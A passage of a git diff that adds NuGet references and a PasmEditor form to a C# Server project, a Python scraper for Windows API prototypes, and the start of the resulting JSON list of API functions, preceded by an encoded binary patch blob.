zNo@C(AZ=6HUgTt}$j?bwi~|7>-n=0u>VD6V&^Wxp#ry7Zrw+w$1=cq2UHWpppy9eD0t^Dvkd-4j-pz;cKi+WR=Yhv~S-|EGxCI+W?iXfMQ#6*V$IZl+&Wz1YV!i2uM_+S=Czr}YuBaDmG*k!(4CG0}A zd5Go;XnBz3)XKy2z2K88S51KF1X@ITBu&0~0<601>_8*QDBiXndD3#@2AClV{Fs2* zh?K6yJ?KxjOc;y}d;GKH@_f)`OE^&ToL)1c5hXcAqbWZ1Da!dsxMr=fEvxy_>m~(Q z>Cm;y^IsTk`79gp9-bVQRXck2D7L1CI(p57!i(g)+tlZlt)=^OP0HABK@p}cH?x3I z*AE5$hg(UOouxD&>gXGHI^gLDH_c~$(60bX?&l6<9Ns^N=D@Mo$dpd=MML~NZ+Orj zNPD{LS#-bMEKPyNDl%PFrqmWQc3rA;`etL$I zxUgh(68q6C z+mJwFS60Q2rSbgw<@rn4Z`?n^KNpDtslsnBz>I3? zp_C2ir=FZMfuP7NpW|VNinMubmU{}sJ_!B9m&R|LILm6&ER3-Wy5l&}^{}}FRh*gt z901ikhl`@13&>i-nuW53j6619YNBj_X?j~-kIlDa`s?oE zCdj-~Hq;^bhYh^FY3Zd3pf5!_bY%S~Eb54{lFfAX@+&%i)b!ikskRd#s2UH=h^c}7 zB0CMO=?fjNWA@x>S%`Iqr(~0;N!?e7OOtnJy2fF_|6;>@koGsjUQK=2FH%-+Q`tLCW_vnWQRPx!(4 zY}#CdAAR4t++5gY8I_|~rou!AJ$*2_=*e4N1g|%xa}$Wh{x1gVv502L*EpZl&E{Nl z2aA{Mao_H4PGr$A{j*;rprJoqy9OIy@F~333$sm}=02)*BbZOGzMHjwileGv(|lBk zw@8W3D6$RYSc>^UXPz^Mm#XJJOTs^umt23E!#J(0?xm5mtN6D|?|xDEtjLCP;#=>D zn`P<#fRe*=h@Nt7VvNz(kQJ}j7;pfhxb8?w{Ax3u)sdc)jA))%xv}SPA%pecBSn&6 zpgps`7X%I{W7F6QIuDbRsEkg%53E^9cR0d zh|ERGu%}5;=Zt&_9}4lz z`nXBmS9*KSv0Pc%8d-{EA%>>atf9H|=9eFI@*9L>uZp#Xs)GCHK3)PJ>6?t{mlKS`?=`yhD$Z*tqVj00r?TbjN$%^5qqsPt#L0BgpKbu{OdovKCuzb0YeSof0=ak7wY`*1?UXes<%1+wp*J2Vn2=RTxPSn8A~Ih`7u)UcIf4J6dRDS0duJ`&sLK6LS3m9&Y>)%d_smQA(ugu%W0QFzs6|?b7$v<4Z*6aDl|C&g|U~z zoHntH`VP5a!mVeS_mqAA8nmT%BdLhM!s$N?*|6HN&9eof%PbimcX2Cev@fFNjKW2U z)Jmz360Mu@YPFB+3wa8^mE0cl?pR`|bd;{j8th>mT&;fj++wAXF{RIJHnE8 zq`tW3P#?8WDQK4hAAlL3+sYiI*@&;gY5&TZtp#B;_LMg?nuB9K??cf9g!dPQtk3+! zdpW_|k6iLBRx);Qc2PqkIL`COOgj&AW`R^ZGtQPiq^{P1S{+~Yjz&763U_H$lz`|# zrYb61^l7W#F)yEq#cI0Nkyd*Oe{)S+8Q}33~l4`+e6TG>z`^)?dQoN&uAfUd|BPa8U)`K+ZAz!$?nEk83csRmMO(i4c%RHKY zbNeoXnV36Ycs%)y#`7fuc2me71wbJ0;X^lyk1Z;k=kqPXIne};z`DjatXqL3B=uh5 zIz|)2eY9!17mc0M`RP19=RrWFxEci(;L~F-`Ayw^=%0#f)Zj2Zc0^n1lMRx5Gx>IL zsyH85A8^xnj;#Om$)%L39^uo8+($OU5t9qearb17UW0tN^_TarK2bVp7sawnn?BX( zqz0$(ZT(t$aRdQ&W+s}0wNahPor zXr^t>uGexH=~Oj;)@a9{1HGJF5{3QPCe1RL?ewAg4)@PwY)&Dg`g#u!5a8S#HG;n8 z-gK9YsJaSzK_kOwykm|!%?G(4NrA(IUbQ#h^MfP9>%+@Z3NxA}`=?<0Eo-y04z5NqZ!yvR(iVg$Wj*RYkv+r-{X+> zl7l;0y52~RQTZvEnr)m*f9%r}zWo_7dt!^3Bx5`hYjGSBI`w~tgrIHYBB~7X)uE7U zp;*1tSn6ASyqUDD%`HPELgNNuw)y6H^fok=>18OF+tR*#+lLpd?k(pXJ;_DmAE@9~ ztqje=r3*=;#IABTqc)d_$Ce@%U784}F!(&Tda=XkSY_3!$t_ zF9Aay$5?wPaObc>P6OS$ua(Z1ScOZQFekbZ(S;HhW8cx7u3Iaszwd*^2;8OpJ`{^NWEofVQ9769)UQBjy71~sP> z;+PXyDbY@@&ix~=0C_3;klXdfY#aG50v+T&|3CN)Q4!dVTvOmhrK{#LkgUH_Ui9yC z;aWY`)^Qd^5?9vbfE4E>6-H&A{Jl&MXLy11O@{U;vNeqiv*bY?Sa+sl<>w9JHZfG+ zTv7U~g7xk?E_1<$^zis3A$_3q=+ES@b=En2|Ks2={WXj#_h(zD!`UQYLZ!vdPs6x> zG)_2B<^C+uHs;b(oDP`tL;kLLK-5i0+wT0)k@?cqAaFQP!Ht(i1RG|zx0(NEj_dwn zup|4MhA%gFLbiRxp*?nFA%2ffwr8vSm6dBKClhlHY%1&QC>a^p%jo&NDa}{AK@51Y zTt(2~#RPXZTe%%QS&Y=E;?41AbX^B~b2fC07XaBB##^zEWIsno?cl~o?N|5yh);T! zpXh~;+rM{!W%E_5xuF?>RNxLl*5H<#ei{>fwlGKKD%etgtzpikwMytr2s# zaujmpaFipM{}jL{1V$RSj$_X+-^GgX!S>+x7k&*H;RZ2_yW!>!d`~TNc74Fyl&rY% zQK&o@*`&eZh&lA9n$A;rl7%q>caCpD$m6@w=;h$%2muQ6(fS9NVTr@5s zY903@D&?KQ`L<$E9h3q^zzOhe(NT-Ag0akBlWv^E=OCQ)Ys~GMB>W4q(m++`M+Kfi z8CS6_PDJ%M_{O{RdVy!^O)RknCqS` zHJWfvW$|V~@el6cSFmpBi6sb`+g*#8%Dqc48EQ_8RuoFl`ih76>$YE6Z+P6|7a+dn(GFqR>1T zIsE@FV_>hidL_`@d%E+Hu_0x$OF`UY843%uZED3?9O>Uly`$1ymT9+$IH zu*6Urs8)jay9$h29%x%@zM4}JNpOO&lhUnlkLT+}5~qJ7J)Zw3azjfRb1EAsE!&8z z!rkZ#FyQT@(KHGSxJNsBNlDjQ(}Vpu_KFO1ny%XN+ri2($K+jgAo2l0_h|8=e$V=T zHK#8Q%rJTK+0i%r11DSqKNLz3#1>IjA2|Vq39&+nf=|k^{xVc^E|=gR7ozi9*oeHu z^T#q+fT<#qbgl0I#|kL{c+?exs#}@QevKm%i`L@0(*A}Pwh>M|98Nc_)p&?XGmx17 zZX99z58ps$RM(TLhfn;)eTCOQTM?km2%yz0R*tDpTU`f?ijm>`A?oYRWJ7UVNE;TM z@d7i2zee1Grs4eB2iiYMeyf5UQkkncfy|gV9G``1=dk%Z=*fz8L)OpW6%K{0$?*6` zICY#gVh9lg|3r5!t}?AIjK_uvdhIrt{JQBs84>mlnstZxsShSu=5V|K6wKhi)pY*T zwqF-YoMv{U3DNLntwGgD)qGjPR_)zjm_|&)ZQ;4hwraof4bA6v9~35BLr}SFv~9b1 z2cPJG2RJMDlG4a@OBm8ufd%0$Mt$HUFXxS5c@a_g%fg(NAB;W)H>Sy8!=_xw5fU4z za?LILWhMn>y`orRd9QjY_jZFy?u#<2^8viR%IDoBpYJ>pAAiYoef>vL$oBYv07JNP zE4#Tx_RLrxQz!aSO5~y8;Zh2F)JT!U#nZ>y6n#?&xi#>L!4~Ct%8re5odwDqyjXg| zbZm+{T)3Py0f-J!5t*1!^>9@FkFI625se+Ym!6bza;36InJY0Ko1!grP+pJY##*^L zIc_c)=o{UJtmM*Pkd+7wopp+kL@WC663Kw z{dSQBFI#2)bNJx#@M)g^wHI!^|1if($HRY5)O5cx>E`{911DsKKL6Ev*5hwl{3~3h zjy2xof9#>W7!)g#c=3OkPYZqs=EDg|z)P@3Zp-bS4ju82R}c+*xQii{zBid)h4q>3 zy>;mS2eRd0x~-(&26TKIpf8KH{Zf`>7;?x*XAEOWs(Sp#hHNhXk6`FCV0yr2k-*cI z?<+7NqG+xXue3gr!B{CXE9bfh!$g5{+cFfaih-YwU+cz~OnkWj!!%7hy7jC% zOR;k>AHoOm=8fs)jt zQcW;bj)Nc^Jx+XlHvy-3Ry}@4m1q>QooU%671fnk_0Y26rAu%HVw3iZQR}P>CWQZ%p}!8etJ9#9SGDy!=E?+}v+mDCpN? zPbroxHwL~u_&`maoa+X!L&;(PQvdsl>0mZK=|JCn*_bv_*n2-h%?DQMZ}kdTGv<{% z=C4Zc#`|#fK`1a^w@jJwVxho4*FWeoOg(!Tb#LfsjTl<_juWu*{`VDb5t!|b>%!N~ z(1){=)ikzB5_#ld%BMcJJ$a&UZX`&@g-`-AQzO?M5;ylNoanB9QOUhG+r=!1pz@K` zebu*Ai7t-xTi_Bp6EG|i|I685)>rqQh&W-vZ%qo)$JyvMT3>}4@4o}fM$C!hpa>on zo@9Sf!ueDxYWsjGpMm%N+b*h+oyedD6%7ezpGmzVx;e!B0)yEJ8|Z z@p+F4AQ$@>2d#rLo?ngR7Tp!IE)m3 zQqCi9uPARM(c`Xo>dFaG!cK-DJ4?ik`b6?m=L3I)<@Mxo!2f*e=d2h(pXZ$1|4N}PKG z9X%B*;8@|vf0j}NPlg(NSul82&rtK2d|^#l5L%MQ4joA>UU2!~i-w5gk40HhU(H-I zFT~y8+a42MbwVamEK9^c@H2z(Tk{$P9Mms>3UP43@w%?Z%CWWE=2 zGmmG=cMQRfsCh%LugV$n=ScdxB_swsv zvDq}v*@zF=z*$xN!qsa$%Z&0kem7Z;jvwU#ij^-S%(*E%eSSCZGiqLEf?gI>TB=Hq z8<|q_{t4!9dJ1_(B_>bWN={2^5|j*_ba5gn68-oMX?f|Oq~wual(V5%osr{2qEne> zcaIT&Qc9kBvV8L^DAUJp_&2X;hbsTqP=a;0F!M)0Nq60tD5>cFPK{FAvV_8G0JPi} zF;P(FF^H60?gT##^~Z)`$78k1jYsuD{`CHM(BCO?jK9VxKJF*U>5#g8|tODeYKXQw;YX4Cw~6Mj56RL30U5NZ)uvgnDgm~0Eu%H z7i4;yWU1}gosgBISSVA-dwE`i*Rsmv;?>E1xhtcO4DpJg%B9n#aTb}{gXyAxl+xAd z%ZZ@}njS@^>mf$pcH#``3M2W;MXLb)^(|A=mMY*Iw}SPr7`+e79Kp$Uu;g-%bf8ke z(mNAM%5KbDo-Y^e2JJ38`*2%Ujp~{W0iHro-x`l)6}{%~A;B!-)(~;Ob_>%MyE-k? z7HCrL7I=-}G1D^;Z}ggxW)gteVw%TArfDwAMkt;7{Ql+n9N?P*Tur@ntu(+u;gsmc zU3*pbCTz>7qFL9cyeD(YC9Z5g!Fp&C9Z}$QR77-t#-yl6T^?eM!!n3_joW6=D9X8l zE`=Td;}9P*CWXI`PckAtc(;|(5YODMW-fov>Mnz`*R-|LI>1ZwoQcSmxy|ojt98)o zrs#{h(6`I2P;c@k27^4vDfk|YP&^@i)8lC|SpA?sk|lADp9T2DEPl{h;BQq_TMeU% z)=;`1KpZUe7x=p(9?_-GxKuMsPI2N`cnpEUNELve)24A$G^J@Ykx8;GVF8Y$%{bZt z>#Savum$A1OBQ|!NT0mpO6uLZIL*~;@Q5{7Qb_pKO6jqAL>h*E7VbAYR!2XCpU_WU zI90rKO)*r@aUv6ugv_W07Fjd>zQj3jJ}vi^_M0PXQ2Jdt^Yo@Ktid*iX0;XGY&D~g zlq*xeMqHk_dA?yPE>@_o**E5|~ZXuPJOqk5OnSZ(Vf$g1*GAKXVdmy|mMpAPegvw2Btj+Z# z&E3@ZA-nm9!IRjq?Ns?-t+DW-vsCRhSV@W^cZz&~$(cx|qy#4;PX%Idk5I|f_A)l1 z^#PfqPH)ZI#(Y`&TqM&^-$&s4@L2NP2tp&L?S*(BUo84e7~Z)y0;*T>s8HfS$Ap1e z;Fs*F8--0AP~i*S3)=)$#BkmTBsAs?i@BhhInWo+{&4alNZcQGYDP-Jg9fIi3)}fa z9+2k<-AdK$%ixiS~LstooxNhbetilMNV_2qVC zdXi?g{RC#F&-(@wrAY_aaDIq@_@pr&sa(?;T+0+<-1)M?>k}OpE0$z@vI%kEdbeYgrD7yLDZ=RFP81qS0fjQb`u?pP zr(9#|8ZAAg`h?68TxUZU9)0h_6+*wjWs1#n@lJ$iP6guPq+m0SOnoNFW#KX_{+V_8 z`S21)NO=e=`SkL5B7Q#oVxka0h1n>XC|P=(BL;v)JwK-`x0Rq&r@)qcPJ_z7cPvZSWalo?)o%iuBIFs)hW33Q{J_0zKp~`h>kU%H9k$%&cmo(4W(T<4`nsQ zN826?J(G(S0l6{x5=ncW=5~U@oenSgl9Jic?x$bt^XY5n|0|bJ3_a1QM!k~Q44TZfqMm~l+o*Hn*edNWq3xe$nHhMV9gL4Q-i3s>{A-5bw^%j^yHtEKIQ?AX#@tORReVU=`h)ub-# zRQcLR7!%5oTI*SHy~M#YktZq{)}DRc%n+8^G$Sg2s6vUtx^I&LD_00rwqee{4n#2S zNk`F9n|jvT^Y2^KzwLvzw)Dw({tYpygM$wa5$`+DyC_Wl4#gr|RWr5RUuNqf(G_}} zYgr*{_RK>st5FK+Vi>O=IVb^L0X?L622#amk;>7#!^{}MfSqpZVwWt$%WT0cJS!GT z7SP(;Ic2AgaycOEA3{$o_>VLI5d{WBVar==G2&xIpdV;fgv}6V^E08+6T9@^gD~2+wP=Od$yZgAnbnM0TzU)I&MGztBleXg+1rxQY#}X(ReBK zq&Li0*q43F#@BB2_Aou5iE7TO@A+}harN_xzWHOpt!jJ;1uJ079jG~?xOfU~j|zu7 zaHow5i~~O12@#e>qLo19k`kDychs&bt6C$Snl^HUXa|)^qjU`$+$R~pCyGd8;SMTk z2bMZ{`@+_B;s}^ZY%MLy$phjiSd{b9PE@krzZQ{u~nbYFL^Ga{O1So`f&xf{s##K z7>|!NLG|?`#7#PAY!#CFw7&2CE9mknIvPXcI3T;FMzjJigNe0cDWhk`Q}-^a2%tk= zUa3D1vl;#f=EG%xJ%r-pSBZG8>zbjiN0i}a^~Ottfd&uLAKFA((NL z`E`^+p~Q=RbviZWjiI0My))ohN5SQ?!~5VSrfaYG)BcgJiko$1!JINwzYkz^jJ2z- HI6nA4Sikl$ literal 0 HcmV?d00001 diff --git a/Server/Server.csproj b/Server/Server.csproj index 2b7ef18..c5a7046 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -33,8 +33,36 @@ 4
+ + ..\packages\Microsoft.Bcl.AsyncInterfaces.8.0.0\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll + + + ..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll + + + ..\packages\System.Memory.4.5.5\lib\net461\System.Memory.dll + + + + ..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll + + + ..\packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.dll + + + ..\packages\System.Text.Encodings.Web.8.0.0\lib\net462\System.Text.Encodings.Web.dll + + + ..\packages\System.Text.Json.8.0.4\lib\net462\System.Text.Json.dll + + + ..\packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll + + + ..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll + @@ -64,6 +92,12 @@ Menu.cs + + Form + + + PasmEditor.cs + @@ -75,6 +109,9 @@ Menu.cs + + PasmEditor.cs + ResXFileCodeGenerator Resources.Designer.cs @@ -85,6 +122,7 @@ Resources.resx True + SettingsSingleFileGenerator Settings.Designer.cs @@ -125,5 +163,8 @@ + + + \ No newline at end of file diff --git a/Server/packages.config b/Server/packages.config new file mode 100644 index 0000000..2f9e97d --- /dev/null +++ b/Server/packages.config @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/data/get_winapis.py b/data/get_winapis.py new file mode 100644 index 0000000..00956be --- /dev/null +++ b/data/get_winapis.py @@ -0,0 +1,53 @@ +import requests +from bs4 import BeautifulSoup +from urllib.parse import urlparse +from urllib.parse import parse_qs +import json + +url = f"https://www.gladir.com/CODER/CWINDOWS/apiwinprototypes.htm" +r = requests.get(url) + +if r.status_code != 200 and r.status_code != 202 : + print(f"Code != 200: {r.status_code}") + exit(0) + +html = r.text + +soup = BeautifulSoup(html, 'html.parser') +table = soup.find('table', {'class': 'ListCoder'}) + +functions_list = [] +for row in table.find_all('tr')[1:]: + cells = row.find_all('td') + + # Function name + function_name = cells[0].text.strip() + + # Prototype + prototype = cells[1].text.strip() + + # Extract arguments types + arguments = [] + if '(' in prototype: + args_string = prototype.split('(')[1].split(')')[0].strip() + if args_string: + args = args_string.split(',') + for arg in args: + arg_type = ' '.join(arg.strip().split()[:-1]) + arguments.append(arg_type) + + # DLL name + dll_name = cells[2].text.strip() + + # Add the function to the list + functions_list.append({ + 'function_name': function_name, + 'arguments': arguments, + 'dll_name': dll_name, + 'full_prototype': prototype.replace("\n", "").replace("\r", "").replace("\t", "") + }) + +json_output = json.dumps(functions_list, ensure_ascii=False, indent=4) +with open("win_apis.json", "w") as f : + f.write(json_output) +print(json_output) \ No newline at end of file diff --git a/data/win_apis.json b/data/win_apis.json new file mode 100644 index 0000000..349cd7f --- /dev/null +++ b/data/win_apis.json @@ -0,0 +1,17828 @@ +[ + { + "function_name": "AbnormalTermination", + "arguments": [ + "" + ], + "dll_name": "", + "full_prototype": "BOOL AbnormalTermination(VOID);" + }, + { + "function_name": "AbortDoc", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int AbortDoc(HDC hdc);" + }, + { + "function_name": "AbortPath", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL AbortPath(HDC hdc);" + }, + { + "function_name": "AbortPrinter", + "arguments": [ + "HANDLE" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL AbortPrinter(HANDLE hPrinter);" + }, + { + "function_name": "AbortSystemShutdownA", + "arguments": [ + "LPSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AbortSystemShutdownA(LPSTR lpMachineName);" + }, + { + "function_name": "AbortSystemShutdownW", + "arguments": [ + "LPWSTR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AbortSystemShutdownW(LPWSTR lpMachineName)" + }, + { + "function_name": "AccessCheck", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "HANDLE", + "DWORD", + "PGENERIC_MAPPING", + "PPRIVILEGE_SET", + "LPDWORD", + "LPDWORD", + "LPBOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AccessCheck( PSECURITY_DESCRIPTOR pSecurityDescriptor, HANDLE ClientToken, DWORD DesiredAccess, PGENERIC_MAPPING GenericMapping, PPRIVILEGE_SET PrivilegeSet, LPDWORD PrivilegeSetLength, LPDWORD GrantedAccess, LPBOOL AccessStatus );" + }, + { + "function_name": "AccessCheckAndAuditAlarmA", + "arguments": [ + "LPCTSTR", + "LPVOID", + "LPTSTR", + "LPTSTR", + "PSECURITY_DESCRIPTOR", + "DWORD", + "PGENERIC_MAPPING", + "BOOL", + "LPDWORD", + "LPBOOL", + "LPBOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AccessCheckAndAuditAlarmA( LPCTSTR SubsystemName, LPVOID HandleId, LPTSTR ObjectTypeName, LPTSTR ObjectName, PSECURITY_DESCRIPTOR SecurityDescriptor, DWORD DesiredAccess, PGENERIC_MAPPING GenericMapping, BOOL ObjectCreation, LPDWORD GrantedAccess, LPBOOL AccessStatus, LPBOOL pfGenerateOnClose );" + }, + { + "function_name": "AccessCheckAndAuditAlarmW", + "arguments": [ + "LPCWSTR", + "LPVOID", + "LPWSTR", + "LPWSTR", + "PSECURITY_DESCRIPTOR", + "DWORD", + "PGENERIC_MAPPING", + "BOOL", + "LPDWORD", + "LPBOOL", + "LPBOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AccessCheckAndAuditAlarmW(LPCWSTR SubsystemName, LPVOID HandleId, LPWSTR ObjectTypeName, LPWSTR ObjectName, PSECURITY_DESCRIPTOR SecurityDescriptor, DWORD DesiredAccess, PGENERIC_MAPPING GenericMapping, BOOL ObjectCreation, LPDWORD GrantedAccess, LPBOOL AccessStatus, LPBOOL pfGenerateOnClose);" + }, + { + "function_name": "AcsLan", + "arguments": [ + "PLLC_CCB", + "PLLC_CCB *" + ], + "dll_name": "dlcapi.dll", + "full_prototype": "ACSLAN_STATUS AcsLan(PLLC_CCB pCcb,PLLC_CCB * ppBadCcb);" + }, + { + "function_name": "ActivateKeyboardLayout", + "arguments": [ + "HKL", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HKL ActivateKeyboardLayout(HKL hkl,UINT Flags);" + }, + { + "function_name": "AddAccessAllowedAce", + "arguments": [ + "PACL", + "DWORD", + "DWORD", + "PSID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AddAccessAllowedAce(PACL pAcl, DWORD dwAceRevision, DWORD AccessMask, PSID pSid);" + }, + { + "function_name": "AddAccessDeniedAce", + "arguments": [ + "PACL", + "DWORD", + "DWORD", + "PSID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AddAccessDeniedAce(PACL pAcl, DWORD dwAceRevision, DWORD AccessMask,PSID pSid);" + }, + { + "function_name": "AddAce", + "arguments": [ + "PACL", + "DWORD", + "DWORD", + "LPVOID", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AddAce(PACL pAcl, DWORD dwAceRevision, DWORD dwStartingAceIndex, LPVOID pAceList, DWORD nAceListLength);" + }, + { + "function_name": "AddAtomA", + "arguments": [ + "LPCSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "ATOM AddAtomA(LPCSTR lpString);" + }, + { + "function_name": "AddAtomW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "ATOM AddAtomW(LPCWSTR lpString);" + }, + { + "function_name": "AddAuditAccessAce", + "arguments": [ + "PACL", + "DWORD", + "DWORD", + "PSID", + "BOOL", + "BOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AddAuditAccessAce(PACL pAcl,DWORD dwAceRevision,DWORD dwAccessMask,PSID pSid,BOOL bAuditSuccess,BOOL bAuditFailure);" + }, + { + "function_name": "AddFontResourceA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int AddFontResourceA(LPCTSTR lpszFilename);" + }, + { + "function_name": "AddFontResourceW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int AddFontResourceW(LPCWSTR lpszFilename);" + }, + { + "function_name": "AddFormA", + "arguments": [ + "HANDLE", + "DWORD", + "LPBYTE" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL AddFormA(HANDLE hPrinter,DWORD Level,LPBYTE pForm);" + }, + { + "function_name": "AddInksetInterval", + "arguments": [ + "HINKSET", + "LPINTERVAL" + ], + "dll_name": "penwin32.dll", + "full_prototype": "BOOL AddInksetInterval(HINKSET hinkset, LPINTERVAL lpiNew);" + }, + { + "function_name": "AddJobA", + "arguments": [ + "HANDLE", + "DWORD", + "LPBYTE", + "DWORD", + "LPDWORD" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL AddJobA(HANDLE hPrinter, DWORD Level, LPBYTE pData, DWORD cbBuf, LPDWORD pcbNeeded );" + }, + { + "function_name": "AddMonitorA", + "arguments": [ + "LPTSTR", + "DWORD", + "LPBYTE" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL AddMonitorA( LPTSTR pName, DWORD Level, LPBYTE pMonitors );" + }, + { + "function_name": "AddPenDataHRC", + "arguments": [ + "HRC", + "HPENDATA" + ], + "dll_name": "penwin32.dll", + "full_prototype": "int AddPenDataHRC(HRC hrc, HPENDATA hpndt);" + }, + { + "function_name": "AddPenInputHRC", + "arguments": [ + "HRC", + "LPPOINT", + "LPVOID", + "UINT", + "LPSTROKEINFO" + ], + "dll_name": "penwin32.dll", + "full_prototype": "int AddPenInputHRC( HRC hrc, LPPOINT lppt, LPVOID lpvOem, UINT fuOem, LPSTROKEINFO lpsi );" + }, + { + "function_name": "AddPointsPenData", + "arguments": [ + "HPENDATA", + "LPPOINT", + "LPVOID", + "LPSTROKEINFO" + ], + "dll_name": "penwin32.dll", + "full_prototype": "HPENDATA AddPointsPenData( HPENDATA hpendata, LPPOINT lppt, LPVOID lpvOem, LPSTROKEINFO lpsiNew )" + }, + { + "function_name": "AddPortA", + "arguments": [ + "LPTSTR", + "HWND", + "LPTSTR" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL AddPortA(LPTSTR pName, HWND hWnd, LPTSTR pMonitorName);" + }, + { + "function_name": "AddPrinterA", + "arguments": [ + "LPTSTR", + "DWORD", + "LPBYTE" + ], + "dll_name": "winspool.drv", + "full_prototype": "HANDLE AddPrinterA( LPTSTR pName, DWORD Level, LPBYTE pPrinter );" + }, + { + "function_name": "AddPrinterConnectionA", + "arguments": [ + "LPTSTR" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL AddPrinterConnectionA(LPTSTR pName);" + }, + { + "function_name": "AddPrinterDriverA", + "arguments": [ + "LPTSTR", + "DWORD", + "LPBYTE" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL AddPrinterDriverA( LPTSTR pName, DWORD Level, LPBYTE pDriverInfo );" + }, + { + "function_name": "AddPrintProcessorA", + "arguments": [ + "LPTSTR", + "LPTSTR", + "LPTSTR", + "LPTSTR" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL AddPrintProcessorA( LPTSTR pName, LPTSTR pEnvironment, LPTSTR pPathName, LPTSTR pPrintProcessorName );" + }, + { + "function_name": "AddPrintProvidorA", + "arguments": [ + "LPTSTR", + "DWORD", + "LPBYTE" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL AddPrintProvidorA( LPTSTR pName, DWORD Level, LPBYTE pProvidorInfo );" + }, + { + "function_name": "AddWordsHWL", + "arguments": [ + "HWL", + "LPSTR", + "UINT" + ], + "dll_name": "penwin32.dll", + "full_prototype": "int AddWordsHWL( HWL hwl, LPSTR lpsz, UINT uType );" + }, + { + "function_name": "AdjustTokenGroups", + "arguments": [ + "HANDLE", + "BOOL", + "PTOKEN_GROUPS", + "DWORD", + "PTOKEN_GROUPS", + "PDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AdjustTokenGroups( HANDLE TokenHandle, BOOL ResetToDefault, PTOKEN_GROUPS NewState, DWORD BufferLength, PTOKEN_GROUPS PreviousState, PDWORD ReturnLength );" + }, + { + "function_name": "AdjustTokenPrivileges", + "arguments": [ + "HANDLE", + "BOOL", + "PTOKEN_PRIVILEGES", + "DWORD", + "PTOKEN_PRIVILEGES", + "PDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AdjustTokenPrivileges( HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength );" + }, + { + "function_name": "AdjustWindowRect", + "arguments": [ + "LPRECT", + "DWORD", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL AdjustWindowRect( LPRECT lpRect, DWORD dwStyle, BOOL bMenu );" + }, + { + "function_name": "AdjustWindowRectEx", + "arguments": [ + "LPRECT", + "DWORD", + "BOOL", + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL AdjustWindowRectEx( LPRECT lpRect, DWORD dwStyle, BOOL bMenu, DWORD dwExStyle );" + }, + { + "function_name": "AdvancedDocumentPropertiesA", + "arguments": [ + "HWND", + "HANDLE", + "LPTSTR", + "PDEVMODE", + "PDEVMODE" + ], + "dll_name": "winspool.drv", + "full_prototype": "LONG AdvancedDocumentPropertiesA( HWND hWnd, HANDLE hPrinter, LPTSTR pDeviceName, PDEVMODE pDevModeOutput, PDEVMODE pDevModeInput );" + }, + { + "function_name": "AllocateAndInitializeSid", + "arguments": [ + "PSID_IDENTIFIER_AUTHORITY", + "BYTE", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "DWORD", + "PSID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AllocateAndInitializeSid( PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD dwSubAuthority0, DWORD dwSubAuthority1, DWORD dwSubAuthority2, DWORD dwSubAuthority3, DWORD dwSubAuthority4, DWORD dwSubAuthority5, DWORD dwSubAuthority6, DWORD dwSubAuthority7, PSID *pSid );" + }, + { + "function_name": "AllocateLocallyUniqueId", + "arguments": [ + "PLUID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL AllocateLocallyUniqueId(PLUID Luid);" + }, + { + "function_name": "AllocConsole", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL AllocConsole(void);" + }, + { + "function_name": "AngleArc", + "arguments": [ + "HDC", + "int", + "int", + "DWORD", + "FLOAT", + "FLOAT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL AngleArc( HDC hdc, int X, int Y, DWORD dwRadius, FLOAT eStartAngle, FLOAT eSweepAngle );" + }, + { + "function_name": "AnimatePalette", + "arguments": [ + "HPALETTE", + "UINT", + "UINT", + "CONST PALETTEENTRY" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL AnimatePalette( HPALETTE hpal, UINT iStartIndex, UINT cEntries, CONST PALETTEENTRY *ppe );" + }, + { + 